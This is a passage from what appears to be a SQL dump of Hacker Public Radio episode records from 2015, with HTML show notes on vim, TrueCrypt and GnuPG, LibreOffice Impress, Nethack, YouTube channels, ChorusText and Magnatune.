href=\"https://vimdoc.sourceforge.net/htmldoc/helphelp.html\">https://vimdoc.sourceforge.net/htmldoc/helphelp.html</a></li>\r\n<li>Motion: <a href=\"https://vimdoc.sourceforge.net/htmldoc/motion.html\">https://vimdoc.sourceforge.net/htmldoc/motion.html</a></li>\r\n<li>Searching: <a href=\"https://vimdoc.sourceforge.net/htmldoc/pattern.html\">https://vimdoc.sourceforge.net/htmldoc/pattern.html</a></li>\r\n<li>Insertion: <a href=\"https://vimdoc.sourceforge.net/htmldoc/insert.html\">https://vimdoc.sourceforge.net/htmldoc/insert.html</a></li>\r\n<li>Changing: <a href=\"https://vimdoc.sourceforge.net/htmldoc/change.html\">https://vimdoc.sourceforge.net/htmldoc/change.html</a></li>\r\n<li>Options: <a href=\"https://vimdoc.sourceforge.net/htmldoc/options.html\">https://vimdoc.sourceforge.net/htmldoc/options.html</a></li>\r\n</ul></li>\r\n<li>Graphical Cheat Sheet: <a href=\"https://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html\">https://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html</a></li>\r\n<li>Vim Hints Episode 3 <a href=\"https://hackerpublicradio.org/eps.php?id=1734\">https://hackerpublicradio.org/eps.php?id=1734</a></li>\r\n</ol>\r\n',225,82,1,'CC-BY-SA','vim,gvim,editor,movement,editing,configuration',0,0,1),
(1780,'2015-05-29','16 - TrueCrypt and GnuPG - An Update',911,'GnuPG and TrueCrypt updated, and how we support free software.','<p>\r\nPreviously we looked at the issues around TrueCrypt and Heartbleed, and noted that a fundamental problem was that technologies we rely on to be safe are often developed and maintained by volunteers or people on a shoestring budget. There is now more news worth looking at in this respect, so it is time for an update.\r\nFor more go to <a href=\"https://www.zwilnik.com/?page_id=825\">https://www.zwilnik.com/?page_id=825</a>\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.propublica.org/article/the-worlds-email-encryption-software-relies-on-one-guy-who-is-going-broke\">https://www.propublica.org/article/the-worlds-email-encryption-software-relies-on-one-guy-who-is-going-broke</a>\r\n</li>\r\n<li><a href=\"https://www.linuxfoundation.org/programs/core-infrastructure-initiative\">https://www.linuxfoundation.org/programs/core-infrastructure-initiative</a>\r\n</li>\r\n<li><a href=\"https://spar.isi.jhu.edu/~mgreen/\">https://spar.isi.jhu.edu/~mgreen/</a>\r\n</li>\r\n<li><a href=\"https://blog.cryptographyengineering.com/\">https://blog.cryptographyengineering.com/</a>\r\n</li>\r\n<li><a href=\"https://blog.cryptographyengineering.com/2015/04/truecrypt-report.html\">https://blog.cryptographyengineering.com/2015/04/truecrypt-report.html</a>\r\n</li>\r\n<li><a href=\"https://www.schneier.com/blog/archives/2015/04/truecrypt_secur.html\">https://www.schneier.com/blog/archives/2015/04/truecrypt_secur.html</a>\r\n</li>\r\n<li><a href=\"https://truecrypt.ch/\">https://truecrypt.ch/</a>\r\n</li>\r\n<li><a href=\"https://ciphershed.org/\">https://ciphershed.org/</a>\r\n</li>\r\n<li><a href=\"https://veracrypt.codeplex.com/\">https://veracrypt.codeplex.com/</a>\r\n</li>\r\n<li><a href=\"https://www.grc.com/misc/truecrypt/truecrypt.htm\">https://www.grc.com/misc/truecrypt/truecrypt.htm</a>\r\n</li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=825\">https://www.zwilnik.com/?page_id=825</a>\r\n</li>\r\n</ul>\r\n\r\n<p><small><em>Editor\'s Note 2022-03-27: Tag changed from GnuPGP to GnuPG</em></small></p>\r\n',198,74,0,'CC-BY-SA','TrueCrypt, GnuPG, support',0,0,1),
(1785,'2015-06-05','54 - LibreOffice Impress - Creating a Presentation',674,'The mechanics of creating a presentation in Impress','<p>\r\nHaving looked at the theory of building a good presentation, now we can look at the mechanics of how to build a presentation. This will take you step-by-step through the creation process and get you ready to create your own awesome presentations.\r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1188\">https://www.ahuka.com/?page_id=1188</a>\r\n</p>\r\n<p>\r\nLinks\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1188\">https://www.ahuka.com/?page_id=1188</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','Libreoffice,Libreoffice impress,creating presentation',0,0,1),
(1790,'2015-06-12','Penguicon 2015 Report',830,'Penguicon 2015 happened on April 24-26, 2015 in Southfield, Michigan','<p>\r\nPenguicon 2015 is a combined technology and science fiction convention in Southfield, Michigan, a suburb of Detroit, and presented over 500 hours of programming over the entire weekend. Of this, around 100 hours were open source, tech-related. In this episode I give you my personal diary of my experience at this great event.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://2015.penguicon.org/\">https://2015.penguicon.org/</a>\r\n</li>\r\n<li><a href=\"https://www.zwilnik.com/?p=831\">https://www.zwilnik.com/?p=831</a>\r\n</li>\r\n<li><a href=\"https://ind.ie/\">https://ind.ie/</a>\r\n</li>\r\n<li><a href=\"https://www.amazon.com/Data-Goliath-Battles-Collect-Control/dp/0393244814\">https://www.amazon.com/Data-Goliath-Battles-Collect-Control/dp/0393244814</a>\r\n</li>\r\n<li><a href=\"https://commonplacebooks.com/\">https://commonplacebooks.com/</a>\r\n</li>\r\n</ul>',198,96,0,'CC-BY-SA','Penguicon 2015',0,0,1),
(1795,'2015-06-19','54 - LibreOffice Impress - Templates and Master Pages',1034,'Using and acquiring Templates in Impress','<p>\r\nThe terms Template and Master Pages refer to the same thing, but inside the Impress application they are referred to as Master Pages, and they are accessed on the right-hand side of the page. If you as the author do not choose a specific Template to use when creating a new presentation, Impress will base the presentation on the default Template that is built in to Impress. But you can create your own default Template if you like.\r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1188\">https://www.ahuka.com/?page_id=1188</a>\r\n</p>\r\n<p>\r\nLinks\r\n</p>\r\n\r\n<ul>\r\n<li><p><a href=\"https://www.ahuka.com/?page_id=1188\">https://www.ahuka.com/?page_id=1188</a></p>\r\n</li>\r\n</ul>\r\n',198,70,0,'CC-BY-SA','LibreOffice, Impress, Templates, Master Pages',0,0,1),
(1778,'2015-05-27','Nethack and Vi cursor keys',552,'More about vi,vim and my nethack virtual machine','Hi I\'m Steve Bickle and this episode is \"Nethack and Vi cursor keys\", its my contribution partially inspired by the recent series of vi/vim podcasts and Frank Bell\'s recent episode Introduction to Rogue Class Linux. <br />\r\n\r\nIn addition to my piece here, I also want to use this opportunity to point out an excellent podcast about vim, that\'s complementary to the series on HPR. <br />\r\nI was pleased to see recently that Thomas Gideon\'s The Command Line podcast is back from a hiatus and want to make sure that others are aware. His 12th of April podcast is an essay entitled \"Hope and Fear in the World of vim\" where he discusses his use of vim throughout his career as a programmer.  You can find this podcast at thecommandline.net<br />\r\n\r\nThe text editor vi was written long ago by Bill Joy in the late 70\'s before the advent of the PC keyboard and cursor keys, so the default key mappings for left/down/up/right being H,J,K and L are not immediately familiar to a pc keyboard user. <br />\r\n\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/a/a0/KB_Terminal_ADM3A.svg\" alt=\"AD-M3A terminal keyboard\"/><br />\r\n\r\nThe original UNIX machine for which vi was written used the AD-M3A terminal    where H,J,K and L had the cursor arrows engraved.<br />\r\nVi is installed as a default choice on many distros, and where it is not, there is invariably a package available that can be easily added. <br />\r\n\r\nSome, if not most, distros come vim installed by default (vim by the way stands for vi improved). This does have the cursor keys mapped nicely for a modern PC keyboard as well as the original keys. Vim is always aliased as vi, so if it\'s been installed when you enter vi you get vim. <br />\r\n\r\nVi is a pretty light weight bit of code whereas VIM has more dependencies so sometimes vi is still preferred as the default install package. For instance Debian and many of its derivatives have vi rather than vim installed by default.<br />\r\nIf you are distro hopping or working on other peoples systems you can generally rely on having vi available, but you can\'t be sure to get vim so it is useful to be conversant with the vi key mappings, along with a working knowledge of some of the basic commands. Then you will never be at a loss for a text editor when needing to hack around in a Linux box.<br />\r\n\r\nFor me as an occasional user of vi the most challenging keys to remember to use are the H,J,K and L. cursor keys, since muscle memory has my fingers diving for the arrow keys. This is where the game Nethack comes in, which is what this article/episode is really about.<br />\r\n\r\nNethack is a terminal based dungeon adventure games which uses the same cursor keys as vi and other old UNIX programs. Play this game for a few hours and you will ever struggle with vi cursor keys again. <br />\r\n\r\nThe goal of the game is to retrieve the \'Amulet\' from the lowest level of the dungeon and return to the surface with it for your god.<br />\r\n\r\nNethack presents as a text based adventure with each level gradually being revealed to you in the on-screen character based level map. As you travel through the dungeon more of the level is revealed. As you play, your character gains more experience and levels up its capabilities.<br />\r\n\r\nYou play as one of a number of types of character, and race. These include many of the usual dungeons and dragons types, archaeologists most likely inspired by Indiana Jones and tourists which definitely owe much to Terry Pratchet. Each role and race has their own initial characteristics, default inventory items, levelsof resilience and ability to learn various skills. For instance a wizard will advance his spell making capabilities faster than a footpad.<br />\r\n\r\nAlthough seemingly a simplistic terminal based game there\'s more going on in Nethack than is at first apparent. Originally released in 1987 it was actively developed with improvements to game play features until 2003. Since then there have been minor updates and ports for different platforms have been added, however there is rumoured to be a release with further game play improvements some-time this year. <br />\r\n\r\nThe game has real depth and subtlety that is gradually revealed the more you play. It is not an easy game to win (from my experience to date that may not even be possible) but the more you play it the better strategies you will devise and the more rewarding the game becomes. There\'s more complexity to this game than almost any modern 3d HD graphic adventure.<br />\r\n\r\nAlthough there is a Nethack Wiki where information about how to play can be sought, the true elite apparently learn through playing. I\'d suggest having a go, then when you become familiar with YASDs (yet another stupid death), there\'s a lot of them, you will have enough experience to answer a few burning question with the Wiki in order to be able to play a more satisfying game.<br />\r\n\r\nAlthough a challenging game, it is not a difficult game to play once you have remembered a few keyboard commands. And this game can be played just about anywhere. Because the game has GPL license there are many ports and flavours available. It is possible to play on most platforms: I have tried it on Linux, Android and even as a Google Chrome app, although the IOS port was not usable on our old iPad or a colleague\'s new iPhone.<br />\r\n\r\nThere are various ports for the Windows platform, some of which replace the character based interface with Windows 3.1 style tile interface or a 3d isometric graphic interface. Personally I\'d prefer to stick with the traditional character interface since the graphics don\'t really add anything to the game play. In fact when I play the game on Windows laptop, I use a minimal Debian install running on VirtualBox. I have set it up to auto-run Nethack and shutdown when exiting the game. Then I launch the VM directly with a shortcut containing the virtualbox command on the desktop.<br />\r\n\r\nThis is how I set up my Nethack VM: <br />\r\nFirst I created a VirtualBox VM with 1 core 256M of RAM and an 8GB hard drive (I could have easily got away with 2GB actually). <br />\r\n\r\nThen I installed a minimal install of Debian, configured networking and installed nethack using apt-get install. <br />\r\n\r\nOnce nethack was installed I disabled networking so I don\'t have to wait for a network connection to time-out when if my machine is not online.<br />\r\n\r\nTo make Debian auto-start with a particular user account you can edit the /etc/inittab and alter one of the tty invocations. I changed the line:<br />\r\n\r\n<pre>1:2345:respawn:/sbin/mingetty tty1</pre><br />\r\n\r\nTo login my account \'steve\' <br />\r\n\r\n<pre>1:2345:respawn:/sbin/mingetty –autologin steve tty1</pre><br />\r\n\r\nTo get Nethack to run on start-up, and the vm to shutdown on exiting the game edit the user\'s .bashrc file and append these three commands to the end of the file<br />\r\n<pre><br />\r\nclear          # this ensures that the screen is clean prior to running the game<br />\r\nnethack    # to run the game<br />\r\nsudo shutdown -h now  # to close the VM when you exit the game<br />\r\n</pre><br />\r\n\r\nBecause Nethack is a terminal based game it doesn\'t hammer the battery in portable machines, making it an ideal travel game for a commuter.<br />\r\n\r\nEven if you are not a gamer its worth a look at Nethack, it might be the one computer game that really grabs your attention.<br />\r\n',240,82,1,'CC-BY-SA','vi, vim, nethack, debian',0,0,1),
(1800,'2015-06-26','YouTube Video Subscriptions',882,'How to subscribe to and watch YouTube Video series, with suggestions','<p>\r\nAlthough my wife and I have a Cable TV subscription, I have maintained I could give it up easily because so much of what I am interested in is online anyway. For many people that might mean Netflix or Hulu, but for me it means YouTube. This is the golden age of narrow-casting, as opposed to broadcasting, because YouTube gives so many creators the opportunity to find their own audience for things that dont appeal to the masses.\r\nFor more go to <a href=\"https://www.palain.com/?p=243\">https://www.palain.com/?p=243</a>\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.patreon.com/\">https://www.patreon.com/</a>\r\n</li>\r\n<li><a href=\"https://vidcon.com/\">https://vidcon.com/</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Crash_Course_%28YouTube%29\">https://en.wikipedia.org/wiki/Crash_Course_%28YouTube%29</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/SciShow\">https://en.wikipedia.org/wiki/SciShow</a>\r\n</li>\r\n<li><a href=\"https://www.palain.com/?p=243\">https://www.palain.com/?p=243</a>\r\n</li>\r\n</ul>\r\n\r\n<h3>Links</h3>\r\n\r\n<p>\r\n(Added)\r\n</p>\r\n\r\n<ul>\r\n<li>Alton Brown: <a href=\"https://www.youtube.com/channel/UC7J0cDeX5eo02yAXwIvB1CQ\">https://www.youtube.com/channel/UC7J0cDeX5eo02yAXwIvB1CQ</a>\r\n</li>\r\n<li>Alton Brown Television: <a href=\"https://www.youtube.com/channel/UCfDNi1aEljAQ17mUrfUjkvg\">https://www.youtube.com/channel/UCfDNi1aEljAQ17mUrfUjkvg</a>\r\n</li>\r\n<li>BBC Earth Unplugged: <a href=\"https://www.youtube.com/channel/UCbwp5B-uDBy-fS4bDA0TEaw\">https://www.youtube.com/channel/UCbwp5B-uDBy-fS4bDA0TEaw</a>\r\n</li>\r\n<li>Braincraft: <a href=\"https://www.youtube.com/channel/UCt_t6FwNsqr3WWoL6dFqG9w\">https://www.youtube.com/channel/UCt_t6FwNsqr3WWoL6dFqG9w</a>\r\n</li>\r\n<li>Brain Stuff - How Stuff Works: <a href=\"https://www.youtube.com/channel/UCiefLm_nIz_gOH7XHbgpdCQ\">https://www.youtube.com/channel/UCiefLm_nIz_gOH7XHbgpdCQ</a>\r\n</li>\r\n<li>Candyrat Records: <a href=\"https://www.youtube.com/channel/UCMJecdKUslHToOEpeuRGwXg\">https://www.youtube.com/channel/UCMJecdKUslHToOEpeuRGwXg</a>\r\n</li>\r\n<li>David Brin: <a href=\"https://www.youtube.com/channel/UCtbMXq5siIn3l-u_HKbAmrw\">https://www.youtube.com/channel/UCtbMXq5siIn3l-u_HKbAmrw</a>\r\n</li>\r\n<li>Computerphile: <a href=\"https://www.youtube.com/channel/UC9-y-6csu5WGm29I7JiwpnA\">https://www.youtube.com/channel/UC9-y-6csu5WGm29I7JiwpnA</a>\r\n</li>\r\n<li>Crash Course: <a href=\"https://www.youtube.com/channel/UCX6b17PVsYBQ0ip5gyeme-Q\">https://www.youtube.com/channel/UCX6b17PVsYBQ0ip5gyeme-Q</a>\r\n</li>\r\n<li>Dan Carlin: <a href=\"https://www.youtube.com/channel/UC3RcjbuyF5M1U4R62zjE3hg\">https://www.youtube.com/channel/UC3RcjbuyF5M1U4R62zjE3hg</a>\r\n</li>\r\n<li>Deep Sky Videos: <a href=\"https://www.youtube.com/channel/UCo-3ThNQmPmQSQL_L6Lx1_w\">https://www.youtube.com/channel/UCo-3ThNQmPmQSQL_L6Lx1_w</a>\r\n</li>\r\n<li>Don Ross: <a href=\"https://www.youtube.com/channel/UCRd5EO6FvhIrqQnk0cscSDA\">https://www.youtube.com/channel/UCRd5EO6FvhIrqQnk0cscSDA</a>\r\n</li>\r\n<li>FW Thinking: <a href=\"https://www.youtube.com/channel/UCnf7ZZpBsuTxnQgy1TKbTIw\">https://www.youtube.com/channel/UCnf7ZZpBsuTxnQgy1TKbTIw</a>\r\n</li>\r\n<li>Hana Malhas: <a href=\"https://www.youtube.com/channel/UCpoMVaoVRf3Xvf10_EIZKrg\">https://www.youtube.com/channel/UCpoMVaoVRf3Xvf10_EIZKrg</a>\r\n</li>\r\n<li>Healthcare Triage: <a href=\"https://www.youtube.com/channel/UCabaQPYxxKepWUsEVQMT4Kw\">https://www.youtube.com/channel/UCabaQPYxxKepWUsEVQMT4Kw</a>\r\n</li>\r\n<li>How Stuff Works: <a href=\"https://www.youtube.com/channel/UCa35qyNpnlZ_u8n9qoAZbMQ\">https://www.youtube.com/channel/UCa35qyNpnlZ_u8n9qoAZbMQ</a>\r\n</li>\r\n<li>It\'s Okay To Be Smart: <a href=\"https://www.youtube.com/channel/UCH4BNI0-FOK2dMXoFtViWHw\">https://www.youtube.com/channel/UCH4BNI0-FOK2dMXoFtViWHw</a>\r\n</li>\r\n<li>Kurtz Gezagt - In A Nutshell: <a href=\"https://www.youtube.com/channel/UCsXVk37bltHxD1rDPwtNM8Q\">https://www.youtube.com/channel/UCsXVk37bltHxD1rDPwtNM8Q</a>\r\n</li>\r\n<li>Mental Floss: <a href=\"https://www.youtube.com/channel/UCpZ5qUqpW4hW4zdfuBxMSJA\">https://www.youtube.com/channel/UCpZ5qUqpW4hW4zdfuBxMSJA</a>\r\n</li>\r\n<li>Minute Earth: <a href=\"https://www.youtube.com/channel/UCeiYXex_fwgYDonaTcSIk6w\">https://www.youtube.com/channel/UCeiYXex_fwgYDonaTcSIk6w</a>\r\n</li>\r\n<li>Minute Physics: <a href=\"https://www.youtube.com/channel/UCUHW94eEFW7hkUMVaZz4eDg\">https://www.youtube.com/channel/UCUHW94eEFW7hkUMVaZz4eDg</a>\r\n</li>\r\n<li>Monty Python: <a href=\"https://www.youtube.com/channel/UCGm3CO6LPcN-Y7HIuyE0Rew\">https://www.youtube.com/channel/UCGm3CO6LPcN-Y7HIuyE0Rew</a>\r\n</li>\r\n<li>NASA eClips: <a href=\"https://www.youtube.com/channel/UClF3aQw6CLDObNG4T9VPPnw\">https://www.youtube.com/channel/UClF3aQw6CLDObNG4T9VPPnw</a>\r\n</li>\r\n<li>nature video: <a href=\"https://www.youtube.com/channel/UC7c8mE90qCtu11z47U0KErg\">https://www.youtube.com/channel/UC7c8mE90qCtu11z47U0KErg</a>\r\n</li>\r\n<li>Numberphile: <a href=\"https://www.youtube.com/channel/UCoxcjq-8xIDTYp3uz647V5A\">https://www.youtube.com/channel/UCoxcjq-8xIDTYp3uz647V5A</a>\r\n</li>\r\n<li>Objectivity: <a href=\"https://www.youtube.com/channel/UCtwKon9qMt5YLVgQt1tvJKg\">https://www.youtube.com/channel/UCtwKon9qMt5YLVgQt1tvJKg</a>\r\n</li>\r\n<li>Perioodic Videos: <a href=\"https://www.youtube.com/channel/UCtESv1e7ntJaLJYKIO1FoYw\">https://www.youtube.com/channel/UCtESv1e7ntJaLJYKIO1FoYw</a>\r\n</li>\r\n<li>Physics Girl: <a href=\"https://www.youtube.com/channel/UC7DdEm33SyaTDtWYGO2CwdA\">https://www.youtube.com/channel/UC7DdEm33SyaTDtWYGO2CwdA</a>\r\n</li>\r\n<li>Piled Higher and Deeper (PhD Comics): <a href=\"https://www.youtube.com/channel/UCUL-pmhmDcZDwsA4cX2HO5w\">https://www.youtube.com/channel/UCUL-pmhmDcZDwsA4cX2HO5w</a>\r\n</li>\r\n<li>Science News: <a href=\"https://www.youtube.com/channel/UCBX5er6E37_yWB3gCM32p3g\">https://www.youtube.com/channel/UCBX5er6E37_yWB3gCM32p3g</a>\r\n</li>\r\n<li>SciShow: <a href=\"https://www.youtube.com/channel/UCZYTClx2T1of7BRZ86-8fow\">https://www.youtube.com/channel/UCZYTClx2T1of7BRZ86-8fow</a>\r\n</li>\r\n<li>SciShow Space: <a href=\"https://www.youtube.com/channel/UCrMePiHCWG4Vwqv3t7W9EFg\">https://www.youtube.com/channel/UCrMePiHCWG4Vwqv3t7W9EFg</a>\r\n</li>\r\n<li>Sixty Symbols: <a href=\"https://www.youtube.com/channel/UCvBqzzvUBLCs8Y7Axb-jZew\">https://www.youtube.com/channel/UCvBqzzvUBLCs8Y7Axb-jZew</a>\r\n</li>\r\n<li>Smarter Every Day: <a href=\"https://www.youtube.com/channel/UC6107grRI4m0o2-emgoDnAA\">https://www.youtube.com/channel/UC6107grRI4m0o2-emgoDnAA</a>\r\n</li>\r\n<li>Space Frontier Org: <a href=\"https://www.youtube.com/channel/UCe_aC8RselByR6B2UMnprQA\">https://www.youtube.com/channel/UCe_aC8RselByR6B2UMnprQA</a>\r\n</li>\r\n<li>Stuff They Don\'t Want You To Know - How Stuff Works: <a href=\"https://www.youtube.com/channel/UCrrOic-og4HzhleZqOq4L-A\">https://www.youtube.com/channel/UCrrOic-og4HzhleZqOq4L-A</a>\r\n</li>\r\n<li>Takei\'s Take: <a href=\"https://www.youtube.com/channel/UCdU7LWHJbvi4QsIDoofsbNA\">https://www.youtube.com/channel/UCdU7LWHJbvi4QsIDoofsbNA</a>\r\n</li>\r\n<li>The Hillywood Show: <a href=\"https://www.youtube.com/channel/UCuYRxRuTAtmeE2AiR5WWWHQ\">https://www.youtube.com/channel/UCuYRxRuTAtmeE2AiR5WWWHQ</a>\r\n</li>\r\n<li>The Fab Faux: <a href=\"https://www.youtube.com/channel/UCsU8AeRj_497u2IMxVA6OcQ\">https://www.youtube.com/channel/UCsU8AeRj_497u2IMxVA6OcQ</a>\r\n</li>\r\n<li>The Frugal Computer Guy: <a href=\"https://www.youtube.com/channel/UCbZ8wD6pmGb9qHqvx9M4YBw\">https://www.youtube.com/channel/UCbZ8wD6pmGb9qHqvx9M4YBw</a>\r\n</li>\r\n<li>Veritasium: <a href=\"https://www.youtube.com/channel/UCHnyfMqiRRG1u-2MsSQLbXA\">https://www.youtube.com/channel/UCHnyfMqiRRG1u-2MsSQLbXA</a>\r\n</li>\r\n<li>Vlog Brothers: <a href=\"https://www.youtube.com/channel/UCGaVdbSav8xWuFWTadK6loA\">https://www.youtube.com/channel/UCGaVdbSav8xWuFWTadK6loA</a>\r\n</li>\r\n<li>Vsauce: <a href=\"https://www.youtube.com/channel/UC6nSFpj9HTCZ5t-N3Rm3-HA\">https://www.youtube.com/channel/UC6nSFpj9HTCZ5t-N3Rm3-HA</a>\r\n</li>\r\n<li>Welcome To Night Vale: <a href=\"https://www.youtube.com/channel/UCrvuY59InDI3iKvopKT8PEw\">https://www.youtube.com/channel/UCrvuY59InDI3iKvopKT8PEw</a> \r\n</li>\r\n</ul>',198,0,0,'CC-BY-SA','YouTube, online video, subscriptions, Patreon',0,0,1),
(1805,'2015-07-03','56 - LibreOffice Impress - Styles and Objects 1 - Presentation Styles',896,'Presentation Styles and their use in LibreOffice Impress','<p>\r\nWe have previously looked at Styles for Writer, and for Calc, and now it is time to look at them for Impress. You may recall from both Writer and Calc that we saw it is important to know that Styles live inside of Templates. So any time you change a Style you needed to make sure it was saved inside of a Template, and if you wanted it to be generally available in all documents or spreadsheets you needed to be sure to make the change inside the Default Template.\r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1125\">https://www.ahuka.com/?page_id=1125</a>\r\n</p>\r\n<p>\r\nLinks\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1125\">https://www.ahuka.com/?page_id=1125</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Impress, Presentations, Styles',0,0,1),
(1782,'2015-06-02','ChorusText - a Non-visual Text Editor Open Assistive Device Project',1051,'Introducing ChorusText, a non-visual text editor open assistive device project','<h3>Links:</h3>\r\n\r\n<ul>\r\n<li>ChorusText project page: <a href=\"https://www.chorustext.org\">www.chorustext.org</a>\r\n</li>\r\n<li>eSpeak page: <a href=\"https://espeak.sourceforge.net/\">https://espeak.sourceforge.net/</a>\r\n</li>\r\n<li>MaryTTS page: <a href=\"https://mary.dfki.de/index.html\">https://mary.dfki.de/index.html</a>\r\n</li>\r\n<li>GNOME Asia Summit 2015 page: <a href=\"https://2015.gnome.asia/\">https://2015.gnome.asia/</a>\r\n</li>\r\n<li>Singapore Maker Faire 2015 page: <a href=\"https://makerfairesingapore.com/get-involved/makers-2/\">https://makerfairesingapore.com/get-involved/makers-2/</a>\r\n</li>\r\n</ul>\r\n',305,79,1,'CC-BY-SA','ChorusText, text editor, Arduino, pcDuino, eSpeak, Mary TTS, Maker Faire Singapore 2015',0,0,1),
(1777,'2015-05-26','Magnatune Favourites',4033,'Andrew and Dave talk about Magnatune and some of their favourite tracks','<h1 id=\"magnatune-favourites\">Magnatune Favourites</h1>\r\n<p>Andrew Conway and Dave Morriss, who each have a lifetime membership with Magnatune, talk about the label and share some favourite tracks.</p>\r\n<h2 id=\"about-magnatune\">About Magnatune</h2>\r\n<figure>\r\n<img src=\"https://magnatune.com/info/press/logos/img/magnatune3-logo-small.png\" alt=\"Magnatune Logo\" /><figcaption>Magnatune Logo</figcaption>\r\n</figure>\r\n<p><a href=\"https://magnatune.com/\" title=\"Magnatune\">Magnatune</a> is an American independent record label based in Berkeley, California. It was founded in 2003 by <a href=\"https://john.redmood.com/\" title=\"John Buckman\">John Buckman</a>.</p>\r\n<p>When first set up music could be bought from Magnatune through a download interface on the website with a &quot;pay what you like&quot; pricing model. Later it was possible to purchase physical CDs and in 2007 complete albums and individual tracks could be bought through Amazon.com.</p>\r\n<p>Magnatune moved to a membership plan in 2008 and in 2010 dropped the CD printing service. The subscription model offers monthly or lifetime membership. Members can download as much as they want, or with a streaming membership can stream as much as they want. Many download formats are available and all music is without DRM.</p>\r\n<p>Magnatune encourages buyers to share up to three copies with friends. All of the tracks downloaded free of charge are licensed under the <a href=\"https://en.wikipedia.org/wiki/Creative_Commons_license\" title=\"Creative Commons\">Creative Commons</a> Attribution-NonCommercial-ShareAlike (BY-NC-SA) License.</p>\r\n<p>It\'s legal to play Magnatune music on a non-commercial podcast without paying collecting society fees to organisations such as ASCAP, BMI or SoundExchange.</p>\r\n<h2 id=\"music-choices\">Music Choices</h2>\r\n<ul>\r\n<li>Dave #1:\r\n<ul>\r\n<li>Album: Mokhov, &quot;<em>Future Hope</em>&quot;</li>\r\n<li>Track: <em>Echo Love</em> (3:56)</li>\r\n<li>Genre: Electronica</li>\r\n<li>Link: <a href=\"https://magnatune.com/artists/albums/mokhov-futurehope\">https://magnatune.com/artists/albums/mokhov-futurehope</a></li>\r\n</ul></li>\r\n<li>Andrew #1:\r\n<ul>\r\n<li>Album: Mystic Crock, &quot;<em>Difference</em>&quot;</li>\r\n<li>Track: <em>The Difference (Calming Down)</em> (9:04)</li>\r\n<li>Genre: Ambient, Electronica</li>\r\n<li>Link: <a href=\"https://magnatune.com/artists/albums/mysticcrock-difference/\">https://magnatune.com/artists/albums/mysticcrock-difference/</a></li>\r\n</ul></li>\r\n<li>Dave #2:\r\n<ul>\r\n<li>Album: Yumi Kurosawa, &quot;<em>Beginning of a Journey</em>&quot;</li>\r\n<li>Track: <em>Inner Space</em> (2:30)</li>\r\n<li>Genre: World, Other</li>\r\n<li>Link: <a href=\"https://magnatune.com/artists/albums/yumi-beginning\">https://magnatune.com/artists/albums/yumi-beginning</a></li>\r\n</ul></li>\r\n<li>Andrew #2:\r\n<ul>\r\n<li>Album: Sandeep Bhandari, &quot;<em>Dive Volume 1</em>&quot;</li>\r\n<li>Track: <em>Rich In Loss</em> (5:27)</li>\r\n<li>Genre: Electronica</li>\r\n<li>Link: <a href=\"https://magnatune.com/artists/albums/sandeep-diveone/\">https://magnatune.com/artists/albums/sandeep-diveone/</a></li>\r\n</ul></li>\r\n<li>Dave #3:\r\n<ul>\r\n<li>Album: Kalabi, &quot;Music for Televisions Vol 2&quot;</li>\r\n<li>Track: <em>Organoid</em> (3:41)</li>\r\n<li>Genre: Electronica</li>\r\n<li>Link: <a href=\"https://magnatune.com/artists/albums/kalabi-mtvtwo/\">https://magnatune.com/artists/albums/kalabi-mtvtwo/</a></li>\r\n</ul></li>\r\n<li>Andrew #3:\r\n<ul>\r\n<li>Album: Robert Rich, &quot;<em>Due Acque - Live Archive Vol 2</em>&quot;</li>\r\n<li>Track: <em>Due Acque part 07</em> (7:08)</li>\r\n<li>Genre: Ambient, New Age</li>\r\n<li>Link: <a href=\"https://magnatune.com/artists/albums/rrich-due/\">https://magnatune.com/artists/albums/rrich-due/</a></li>\r\n</ul></li>\r\n</ul>\r\n<p>The picture we mentioned when discussing the artist <em>Kalabi</em><br /><img src=\"https://magnatune.com//artists/img/kalabi2.jpg\" alt=\"Picture from Kalabi&#39;s page on Magnatune\" /><br /><a href=\"https://magnatune.com//artists/img/kalabi2.jpg\">https://magnatune.com//artists/img/kalabi2.jpg</a></p>\r\n<p>See also <a href=\"https://www.museumwaalsdorp.nl/en/airacous.html\">https://www.museumwaalsdorp.nl/en/airacous.html</a> if you want more.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ol type=\"1\">\r\n<li>Wikipedia entry on Magnatune: <a href=\"https://en.wikipedia.org/wiki/Magnatune\">https://en.wikipedia.org/wiki/Magnatune</a></li>\r\n<li>Magnatune site: <a href=\"https://magnatune.com/\">https://magnatune.com/</a></li>\r\n<li>Wikipedia entry on Creative Commons: <a href=\"https://en.wikipedia.org/wiki/Creative_Commons_license\">https://en.wikipedia.org/wiki/Creative_Commons_license</a></li>\r\n<li>John Buckman\'s blog: <a href=\"https://john.redmood.com/\">https://john.redmood.com/</a></li>\r\n<li>Web-based Magnatune player: <a href=\"https://greattuneplayer.jit.su\">https://greattuneplayer.jit.su</a></li>\r\n</ol>\r\n',225,0,1,'CC-BY-NC-SA','Magnatune,music',0,0,1),
